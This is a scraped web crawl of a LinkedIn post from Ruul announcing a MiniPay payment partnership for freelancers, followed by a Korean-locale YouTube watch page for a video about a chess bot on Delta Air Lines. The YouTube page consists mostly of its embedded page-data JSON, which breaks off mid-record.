https://www.linkedin.com/posts/ruul_ruul-partnership-futureofwork-activity-7399041771848056834-8KUi	#ruul #partnership #futureofwork #independents \| Ruul Agree & Join LinkedIn By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . Skip to main content LinkedIn Top Content People Learning Jobs Games Sign in Join for free Ruul’s Post Ruul 7,110 followers 1mo Report this post Independents deserve systems that keep up with how they work. Through our partnership with MiniPay, you can now receive your earnings quickly, reliably, and with added rewards. Sell your services. Get paid better. #Ruul #Partnership #FutureOfWork #Independents 8 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in 7,110 followers View Profile Follow Explore content categories Career Productivity Finance Soft Skills & Emotional Intelligence Project Management Education Technology Leadership Ecommerce User Experience Show more Show less LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Sign in to view more content Create your free account or sign in to continue your search Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy .	2026-01-13T08:47:55
https://m.youtube.com/watch?v=c0mLhHDcY3I	The chess bot on Delta Air Lines will destroy you - YouTube 정보 보도자료 저작권 문의하기 크리에이터 광고 개발자 약관 개인정보처리방침 정책 및 안전 YouTube 작동의 원리 새로운 기능 테스트하기 © 2026 Google LLC, Sundar Pichai, 1600 Amphitheatre Parkway, Mountain View CA 94043, USA, 0807-882-594 (무료), yt-support-solutions-kr@google.com, 호스팅: Google LLC, 사업자정보 , 불법촬영물 신고 크리에이터들이 유튜브 상에 게시, 태그 또는 추천한 상품들은 판매자들의 약관에 따라 판매됩니다. 유튜브는 이러한 제품들을 판매하지 않으며, 그에 대한 책임을 지지 않습니다. var ytInitialData = {"responseContext":{"serviceTrackingParams":[{"service":"CSI","params":[{"key":"c","value":"WEB"},{"key":"cver","value":"2.20260109.01.00"},{"key":"yt_li","value":"0"},{"key":"GetWatchNext_rid","value":"0xd8bd1cbc87c9b27a"}]},{"service":"GFEEDBACK","params":[{"key":"logged_in","value":"0"},{"key":"visitor_data","value":"CgtVQV84cE9obWU3RSi4jZjLBjIKCgJLUhIEGgAgTWLfAgrcAjE1LllUPUJvNVhpSk5Pa3JBcFpuLXE5NnZWWERiUVZXbEVvLTlZeDROb0VnQVg0SWFwUzU5X1oxUzE5c2JkZTYzcWZSZm9fRDJpcjdYcU00QWUxd3pzNW15WFRWVDh0aTRWUTZIWE1FRFY2SDBDNV9GdnlCd1ZFZjk1cnp3LThhMXR2OTNLR3ZGRjd2MzdBa3pUWmRIdTY4MzNGR1VnZ2NGUEF5WUdMdFczcy1mcFNZVTZoVnF4MGREVmZmc1lZbUZMaURQYzVHdkcwVUZaaUxyWllCYWVzS3RlZnJzOE9nb0ZKTXJzc2UyZ2tRaWZncm9IWVBRSG04Nnl2a1ZxZXk0YlpWeFl5amE1Ym40SUZxaF81Ty1VV3MteTAtUEFmeTk5cnBLZHVhZkwxWVBjbk11bjlxVUhRMTNEU2dBM3BaaUFwYUx4ZnZGRUpYa0hfeldLZzd6SXJJVV9yZw%3D%3D"}]},{"service":"GUIDED_HELP","params":[{"key":"logged_in","value":"0"}]},{"service":"ECATCHER","params":[{"key":"client.version","value":"2.20260109"},{"key":"client.name","value":"WEB"}]}],"mainAppWebResponseContext":{"loggedOut":true,"trackingParam":"kx_fmPxhoPZRq2ShY589zSD1EstIUJdQMLz_kyiAUnnNcjHRgkussh7BwOcCE59TDtslLKPQ-SS"},"webResponseContextExtensionData":{"webResponseContextPreloadData":{"preloadMessageNames":["twoColumnWatchNextResults","results","videoPrimaryInfoRenderer","videoViewCountRenderer","menuRenderer","menuServiceItemRenderer","segmentedLikeDislikeButtonViewModel","likeButtonViewModel","toggleButtonViewModel","buttonViewModel","modalWithTitleAndButtonRenderer","buttonRenderer","dislikeButtonViewModel","unifiedSharePanelRenderer","menuFlexibleItemRenderer","videoSecondaryInfoRenderer","videoOwnerRenderer","subscribeButtonRenderer","subscriptionNotificationToggleButtonRenderer","menuPopupRenderer","confirmDialogRenderer","metadataRowContainerRenderer","compositeVideoPrimaryInfoRenderer","itemSectionRenderer","continuationItemRenderer","secondaryResults","lockupViewModel","thumbnailViewModel","thumbnailOverlayBadgeViewModel","thumbnailBadgeViewModel","thumbnailHoverOverlayToggleActionsViewModel","lockupMetadataViewModel","decoratedAvatarViewModel","avatarViewModel","contentMetadataViewModel","sheetViewModel","listViewModel","listItemViewModel","badgeViewModel","autoplay","playerOverlayRenderer","menuNavigationItemRenderer","watchNextEndScreenRenderer","endScreenVideoRenderer","thumbnailOverlayTimeStatusRenderer","thumbnailOverlayNowPlayingRenderer","playerOverlayAutoplayRenderer","playerOverlayVideoDetailsRenderer","autoplaySwitchButtonRenderer","quickActionsViewModel","decoratedPlayerBarRenderer","multiMarkersPlayerBarRenderer","speedmasterEduViewModel","engagementPanelSectionListRenderer","engagementPanelTitleHeaderRenderer","sortFilterSubMenuRenderer","sectionListRenderer","adsEngagementPanelContentRenderer","chipBarViewModel","chipViewModel","structuredDescriptionContentRenderer","videoDescriptionHeaderRenderer","factoidRenderer","viewCountFactoidRenderer","expandableVideoDescriptionBodyRenderer","expandableMetadataRenderer","videoSummaryContentViewModel","videoSummaryParagraphViewModel","videoDescriptionGamingSectionRenderer","mediaLockupRenderer","topicLinkRenderer","videoDescriptionTranscriptSectionRenderer","videoDescriptionInfocardsSectionRenderer","desktopTopbarRenderer","topbarLogoRenderer","fusionSearchboxRenderer","topbarMenuButtonRenderer","multiPageMenuRenderer","hotkeyDialogRenderer","hotkeyDialogSectionRenderer","hotkeyDialogSectionOptionRenderer","voiceSearchDialogRenderer","cinematicContainerRenderer","microformatDataRenderer"]},"ytConfigData":{"visitorData":"CgtVQV84cE9obWU3RSi4jZjLBjIKCgJLUhIEGgAgTWLfAgrcAjE1LllUPUJvNVhpSk5Pa3JBcFpuLXE5NnZWWERiUVZXbEVvLTlZeDROb0VnQVg0SWFwUzU5X1oxUzE5c2JkZTYzcWZSZm9fRDJpcjdYcU00QWUxd3pzNW15WFRWVDh0aTRWUTZIWE1FRFY2SDBDNV9GdnlCd1ZFZjk1cnp3LThhMXR2OTNLR3ZGRjd2MzdBa3pUWmRIdTY4MzNGR1VnZ2NGUEF5WUdMdFczcy1mcFNZVTZoVnF4MGREVmZmc1lZbUZMaURQYzVHdkcwVUZaaUxyWllCYWVzS3RlZnJzOE9nb0ZKTXJzc2UyZ2tRaWZncm9IWVBRSG04Nnl2a1ZxZXk0YlpWeFl5amE1Ym40SUZxaF81Ty1VV3MteTAtUEFmeTk5cnBLZHVhZkwxWVBjbk11bjlxVUhRMTNEU2dBM3BaaUFwYUx4ZnZGRUpYa0hfeldLZzd6SXJJVV9yZw%3D%3D","rootVisualElementType":3832},"webPrefetchData":{"navigationEndpoints":[{"clickTrackingParams":"CAAQg2ciEwjgvsjgkIiSAxW7QDgFHV5COYMyDHJlbGF0ZWQtYXV0b0jyxvGGx_DipHOaAQUIAxD4HcoBBCjntk4=","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=uMMQUone81A\u0026pp=QAFIAQ%3D%3D","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"uMMQUone81A","params":"EAEYAdoBBAgBKgA%3D","playerParams":"QAFIAQ%3D%3D","watchEndpointSupportedPrefetchConfig":{"prefetchHintConfig":{"prefetchPriority":0,"countdownUiRelativeSecondsPrefetchCondition":-3}}}},{"clickTrackingParams":"CAAQg2ciEwjgvsjgkIiSAxW7QDgFHV5COYMyDHJlbGF0ZWQtYXV0b0jyxvGGx_DipHOaAQUIAxD4HcoBBCjntk4=","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=uMMQUone81A\u0026pp=QAFIAQ%3D%3D","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"uMMQUone81A","params":"EAEYAdoBBAgBKgA%3D","playerParams":"QAFIAQ%3D%3D","watchEndpointSupportedPrefetchConfig":{"prefetchHintConfig":{"prefetchPriority":0,"countdownUiRelativeSecondsPrefetchCondition":-3}}}},{"clickTrackingParams":"CAAQg2ciEwjgvsjgkIiSAxW7QDgFHV5COYMyDHJlbGF0ZWQtYXV0b0jyxvGGx_DipHOaAQUIAxD4HcoBBCjntk4=","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=uMMQUone81A\u0026pp=QAFIAQ%3D%3D","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"uMMQUone81A","params":"EAEYAdoBBAgBKgA%3D","playerParams":"QAFIAQ%3D%3D","watchEndpointSupportedPrefetchConfig":{"prefetchHintConfig":{"prefetchPriority":0,"countdownUiRelativeSecondsPrefetchCondition":-3}}}}]},"hasDecorated":true}},"contents":{"twoColumnWatchNextResults":{"results":{"results":{"contents":[{"videoPrimaryInfoRenderer":{"title":{"runs":[{"text":"The chess bot on Delta Air Lines will destroy you"}]},"viewCount":{"videoViewCountRenderer":{"viewCount":{"simpleText":"조회수 299,974회"},"shortViewCount":{"simpleText":"조회수 29만회"},"originalViewCount":"0"}},"videoActions":{"menuRenderer":{"items":[{"menuServiceItemRenderer":{"text":{"runs":[{"text":"신고"}]},"icon":{"iconType":"FLAG"},"serviceEndpoint":{"clickTrackingParams":"CJcCEMyrARgAIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","showEngagementPanelEndpoint":{"identifier":{"tag":"PAabuse_report"},"globalConfiguration":{"params":"qgdxCAESC2MwbUxoSERjWTNJGmBFZ3RqTUcxTWFFaEVZMWt6U1VBQldBQjRCWklCTWdvd0VpNW9kSFJ3Y3pvdkwya3VlWFJwYldjdVkyOXRMM1pwTDJNd2JVeG9TRVJqV1ROSkwyUmxabUYxYkhRdWFuQm4%3D"},"engagementPanelPresentationConfigs":{"engagementPanelPopupPresentationConfig":{"popupType":"PANEL_POPUP_TYPE_DIALOG"}}}},"trackingParams":"CJcCEMyrARgAIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}}],"trackingParams":"CJcCEMyrARgAIhMI4L7I4JCIkgMVu0A4BR1eQjmD","topLevelButtons":[{"segmentedLikeDislikeButtonViewModel":{"likeButtonViewModel":{"likeButtonViewModel":{"toggleButtonViewModel":{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"LIKE","title":"8.6천","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CKICEKVBIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},{"innertubeCommand":{"clickTrackingParams":"CKICEKVBIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"ignoreNavigation":true}},"modalEndpoint":{"modal":{"modalWithTitleAndButtonRenderer":{"title":{"simpleText":"동영상이 마음에 드시나요?"},"content":{"simpleText":"로그인하여 의견을 알려주세요."},"button":{"buttonRenderer":{"style":"STYLE_MONO_FILLED","size":"SIZE_DEFAULT","isDisabled":false,"text":{"simpleText":"로그인"},"navigationEndpoint":{"clickTrackingParams":"CKMCEPqGBCITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko\u0026hl=ko\u0026ec=66426","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CKMCEPqGBCITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/like/like"}},"likeEndpoint":{"status":"LIKE","target":{"videoId":"c0mLhHDcY3I"},"likeParams":"Cg0KC2MwbUxoSERjWTNJIAAyDAi5jZjLBhD0w-XSAg%3D%3D"}},"idamTag":"66426"}},"trackingParams":"CKMCEPqGBCITCOC-yOCQiJIDFbtAOAUdXkI5gw=="}}}}}}}]}},"accessibilityText":"다른 사용자 8,607명과 함께 이 동영상에 좋아요 표시","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CKICEKVBIhMI4L7I4JCIkgMVu0A4BR1eQjmD","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","accessibilityId":"id.video.like.button","tooltip":"이 동영상이 마음에 듭니다."}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"LIKE","title":"8.6천","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CKECEKVBIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},{"innertubeCommand":{"clickTrackingParams":"CKECEKVBIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/like/removelike"}},"likeEndpoint":{"status":"INDIFFERENT","target":{"videoId":"c0mLhHDcY3I"},"removeLikeParams":"Cg0KC2MwbUxoSERjWTNJGAAqDAi5jZjLBhCex-bSAg%3D%3D"}}}]}},"accessibilityText":"다른 사용자 8,607명과 함께 이 동영상에 좋아요 표시","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CKECEKVBIhMI4L7I4JCIkgMVu0A4BR1eQjmD","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","accessibilityId":"id.video.like.button","tooltip":"좋아요 취소"}},"identifier":"watch-like","trackingParams":"CJcCEMyrARgAIhMI4L7I4JCIkgMVu0A4BR1eQjmD","isTogglingDisabled":true}},"likeStatusEntityKey":"EgtjMG1MaEhEY1kzSSA-KAE%3D","likeStatusEntity":{"key":"EgtjMG1MaEhEY1kzSSA-KAE%3D","likeStatus":"INDIFFERENT"}}},"dislikeButtonViewModel":{"dislikeButtonViewModel":{"toggleButtonViewModel":{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"DISLIKE","title":"싫어요","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CJ8CEKiPCSITCOC-yOCQiJIDFbtAOAUdXkI5gw=="}},{"innertubeCommand":{"clickTrackingParams":"CJ8CEKiPCSITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"ignoreNavigation":true}},"modalEndpoint":{"modal":{"modalWithTitleAndButtonRenderer":{"title":{"simpleText":"동영상이 마음에 안 드시나요?"},"content":{"simpleText":"로그인하여 의견을 알려주세요."},"button":{"buttonRenderer":{"style":"STYLE_MONO_FILLED","size":"SIZE_DEFAULT","isDisabled":false,"text":{"simpleText":"로그인"},"navigationEndpoint":{"clickTrackingParams":"CKACEPmGBCITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko\u0026hl=ko\u0026ec=66425","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CKACEPmGBCITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/like/dislike"}},"likeEndpoint":{"status":"DISLIKE","target":{"videoId":"c0mLhHDcY3I"},"dislikeParams":"Cg0KC2MwbUxoSERjWTNJEAAiDAi5jZjLBhD4iujSAg%3D%3D"}},"idamTag":"66425"}},"trackingParams":"CKACEPmGBCITCOC-yOCQiJIDFbtAOAUdXkI5gw=="}}}}}}}]}},"accessibilityText":"동영상에 싫어요 표시","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CJ8CEKiPCSITCOC-yOCQiJIDFbtAOAUdXkI5gw==","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","accessibilityId":"id.video.dislike.button","tooltip":"이 동영상이 마음에 들지 않습니다."}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"DISLIKE","title":"싫어요","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CJ4CEKiPCSITCOC-yOCQiJIDFbtAOAUdXkI5gw=="}},{"innertubeCommand":{"clickTrackingParams":"CJ4CEKiPCSITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/like/removelike"}},"likeEndpoint":{"status":"INDIFFERENT","target":{"videoId":"c0mLhHDcY3I"},"removeLikeParams":"Cg0KC2MwbUxoSERjWTNJGAAqDAi5jZjLBhDAr-jSAg%3D%3D"}}}]}},"accessibilityText":"동영상에 싫어요 표시","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CJ4CEKiPCSITCOC-yOCQiJIDFbtAOAUdXkI5gw==","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","accessibilityId":"id.video.dislike.button","tooltip":"이 동영상이 마음에 들지 않습니다."}},"trackingParams":"CJcCEMyrARgAIhMI4L7I4JCIkgMVu0A4BR1eQjmD","isTogglingDisabled":true}},"dislikeEntityKey":"EgtjMG1MaEhEY1kzSSA-KAE%3D"}},"iconType":"LIKE_ICON_TYPE_UNKNOWN","likeCountEntity":{"key":"unset_like_count_entity_key"},"dynamicLikeCountUpdateData":{"updateStatusKey":"like_count_update_status_key","placeholderLikeCountValuesKey":"like_count_placeholder_values_key","updateDelayLoopId":"like_count_update_delay_loop_id","updateDelaySec":5},"teasersOrderEntityKey":"EgtjMG1MaEhEY1kzSSD8AygB"}},{"buttonViewModel":{"iconName":"SHARE","title":"공유","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CJwCEOWWARgCIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},{"innertubeCommand":{"clickTrackingParams":"CJwCEOWWARgCIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/share/get_share_panel"}},"shareEntityServiceEndpoint":{"serializedShareEntity":"CgtjMG1MaEhEY1kzSaABAQ%3D%3D","commands":[{"clickTrackingParams":"CJwCEOWWARgCIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","openPopupAction":{"popup":{"unifiedSharePanelRenderer":{"trackingParams":"CJ0CEI5iIhMI4L7I4JCIkgMVu0A4BR1eQjmD","showLoadingSpinner":true}},"popupType":"DIALOG","beReused":true}}]}}}]}},"accessibilityText":"공유","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CJwCEOWWARgCIhMI4L7I4JCIkgMVu0A4BR1eQjmD","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE","accessibilityId":"id.video.share.button","tooltip":"공유"}}],"accessibility":{"accessibilityData":{"label":"추가 작업"}},"flexibleItems":[{"menuFlexibleItemRenderer":{"menuItem":{"menuServiceItemRenderer":{"text":{"runs":[{"text":"저장"}]},"icon":{"iconType":"PLAYLIST_ADD"},"serviceEndpoint":{"clickTrackingParams":"CJoCEOuQCSITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"ignoreNavigation":true}},"modalEndpoint":{"modal":{"modalWithTitleAndButtonRenderer":{"title":{"runs":[{"text":"나중에 다시 보고 싶으신가요?"}]},"content":{"runs":[{"text":"로그인하여 동영상을 재생목록에 추가하세요."}]},"button":{"buttonRenderer":{"style":"STYLE_MONO_FILLED","size":"SIZE_DEFAULT","isDisabled":false,"text":{"simpleText":"로그인"},"navigationEndpoint":{"clickTrackingParams":"CJsCEPuGBCITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko%26next%3D%252Fwatch%253Fv%253Dc0mLhHDcY3I\u0026hl=ko\u0026ec=66427","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CJsCEPuGBCITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=c0mLhHDcY3I","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"c0mLhHDcY3I","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr3---sn-ab02a0nfpgxapox-bh2ed.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=73498b8470dc6372\u0026ip=1.208.108.242\u0026initcwndbps=3931250\u0026mt=1768293662\u0026oweuc="}}}}},"idamTag":"66427"}},"trackingParams":"CJsCEPuGBCITCOC-yOCQiJIDFbtAOAUdXkI5gw=="}}}}}},"trackingParams":"CJoCEOuQCSITCOC-yOCQiJIDFbtAOAUdXkI5gw=="}},"topLevelButton":{"buttonViewModel":{"iconName":"PLAYLIST_ADD","title":"저장","onTap":{"serialCommand":{"commands":[{"logGestureCommand":{"gestureType":"GESTURE_EVENT_TYPE_LOG_GENERIC_CLICK","trackingParams":"CJgCEOuQCSITCOC-yOCQiJIDFbtAOAUdXkI5gw=="}},{"innertubeCommand":{"clickTrackingParams":"CJgCEOuQCSITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"ignoreNavigation":true}},"modalEndpoint":{"modal":{"modalWithTitleAndButtonRenderer":{"title":{"runs":[{"text":"나중에 다시 보고 싶으신가요?"}]},"content":{"runs":[{"text":"로그인하여 동영상을 재생목록에 추가하세요."}]},"button":{"buttonRenderer":{"style":"STYLE_MONO_FILLED","size":"SIZE_DEFAULT","isDisabled":false,"text":{"simpleText":"로그인"},"navigationEndpoint":{"clickTrackingParams":"CJkCEPuGBCITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko%26next%3D%252Fwatch%253Fv%253Dc0mLhHDcY3I\u0026hl=ko\u0026ec=66427","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CJkCEPuGBCITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=c0mLhHDcY3I","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"c0mLhHDcY3I","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr3---sn-ab02a0nfpgxapox-bh2ed.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=73498b8470dc6372\u0026ip=1.208.108.242\u0026initcwndbps=3931250\u0026mt=1768293662\u0026oweuc="}}}}},"idamTag":"66427"}},"trackingParams":"CJkCEPuGBCITCOC-yOCQiJIDFbtAOAUdXkI5gw=="}}}}}}}]}},"accessibilityText":"재생목록에 저장","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CJgCEOuQCSITCOC-yOCQiJIDFbtAOAUdXkI5gw==","isFullWidth":false,"type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","tooltip":"저장"}}}}]}},"trackingParams":"CJcCEMyrARgAIhMI4L7I4JCIkgMVu0A4BR1eQjmD","dateText":{"simpleText":"2024. 9. 27."},"relativeDateText":{"accessibility":{"accessibilityData":{"label":"1년 전"}},"simpleText":"1년 전"}}},{"videoSecondaryInfoRenderer":{"owner":{"videoOwnerRenderer":{"thumbnail":{"thumbnails":[{"url":"https://yt3.ggpht.com/gflW_0X1l81VgwP2HVpKouXROiNnKM5d073-KzESqZqDwE3j3YjOx9kUih5fx2MBYr55iAouZQ=s48-c-k-c0x00ffffff-no-rj","width":48,"height":48},{"url":"https://yt3.ggpht.com/gflW_0X1l81VgwP2HVpKouXROiNnKM5d073-KzESqZqDwE3j3YjOx9kUih5fx2MBYr55iAouZQ=s88-c-k-c0x00ffffff-no-rj","width":88,"height":88},{"url":"https://yt3.ggpht.com/gflW_0X1l81VgwP2HVpKouXROiNnKM5d073-KzESqZqDwE3j3YjOx9kUih5fx2MBYr55iAouZQ=s176-c-k-c0x00ffffff-no-rj","width":176,"height":176}]},"title":{"runs":[{"text":"ZachAhern1","navigationEndpoint":{"clickTrackingParams":"CJYCEOE5IhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"url":"/@zachahern1","webPageType":"WEB_PAGE_TYPE_CHANNEL","rootVe":3611,"apiUrl":"/youtubei/v1/browse"}},"browseEndpoint":{"browseId":"UCiQtZY8Nvn3NGuf5mm1eByQ","canonicalBaseUrl":"/@zachahern1"}}}]},"subscriptionButton":{"type":"FREE"},"navigationEndpoint":{"clickTrackingParams":"CJYCEOE5IhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"url":"/@zachahern1","webPageType":"WEB_PAGE_TYPE_CHANNEL","rootVe":3611,"apiUrl":"/youtubei/v1/browse"}},"browseEndpoint":{"browseId":"UCiQtZY8Nvn3NGuf5mm1eByQ","canonicalBaseUrl":"/@zachahern1"}},"subscriberCountText":{"accessibility":{"accessibilityData":{"label":"구독자 1.07천명"}},"simpleText":"구독자 1.07천명"},"trackingParams":"CJYCEOE5IhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},"subscribeButton":{"subscribeButtonRenderer":{"buttonText":{"runs":[{"text":"구독"}]},"subscribed":false,"enabled":true,"type":"FREE","channelId":"UCiQtZY8Nvn3NGuf5mm1eByQ","showPreferences":false,"subscribedButtonText":{"runs":[{"text":"구독중"}]},"unsubscribedButtonText":{"runs":[{"text":"구독"}]},"trackingParams":"CIgCEJsrIhMI4L7I4JCIkgMVu0A4BR1eQjmDKPgdMgV3YXRjaA==","unsubscribeButtonText":{"runs":[{"text":"구독 취소"}]},"subscribeAccessibility":{"accessibilityData":{"label":"ZachAhern1을(를) 구독합니다."}},"unsubscribeAccessibility":{"accessibilityData":{"label":"ZachAhern1을(를) 구독 취소합니다."}},"notificationPreferenceButton":{"subscriptionNotificationToggleButtonRenderer":{"states":[{"stateId":3,"nextStateId":3,"state":{"buttonRenderer":{"style":"STYLE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"icon":{"iconType":"NOTIFICATIONS_NONE"},"accessibility":{"label":"현재 설정은 맞춤설정 알림 수신입니다. ZachAhern1 채널의 알림 설정을 변경하려면 탭하세요."},"trackingParams":"CJUCEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","accessibilityData":{"accessibilityData":{"label":"현재 설정은 